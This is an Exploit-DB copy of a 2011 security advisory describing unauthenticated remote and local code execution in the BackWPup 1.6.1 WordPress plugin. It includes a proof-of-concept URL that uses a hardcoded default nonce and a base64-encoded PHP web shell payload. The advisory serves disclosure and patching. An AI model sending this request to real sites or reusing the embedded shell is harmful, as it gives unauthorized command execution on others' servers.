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Wordpress plugin BackWPup Remote and Local Code Execution Vulnerability



EDB-ID: 17056 CVE: 2011-4342 OSVDB-ID: 71481
Author: Sense of Security Published: 2011-03-28 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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Sense of Security - Security Advisory - SOS-11-003

Release Date.                  28-Mar-2011
Last Update.                   -
Vendor Notification Date.      25-Mar-2010
Product.                       Wordpress Plugin BackWPup
Platform.                      Independent
Affected versions.             1.6.1 (verified), possibly others
Severity Rating.               High
Impact.                        System Access
Attack Vector.                 Remote without authentication
Solution Status.               Upgrade to version 1.7.1
CVE reference.                 Not yet assigned

Details.
A vulnerability has been discovered in the Wordpress plugin BackWPup 
1.6.1 which can be exploited to execute local or remote code on the web 
server. The Input passed to the component "wp_xml_export.php" via the 
"wpabs" variable allows the inclusion and execution of local or remote 
PHP files as long as a "_nonce" value is known. The "_nonce" value 
relies on a static constant which is not defined in the script meaning 
that it defaults to the value "822728c8d9".

Proof of Concept.
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ
vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX           
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQgdHlwZT0   
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF
sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

Solution.
Upgrade to version 1.7.1

Discovered by.
Phil Taylor - Sense of Security Labs.

Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php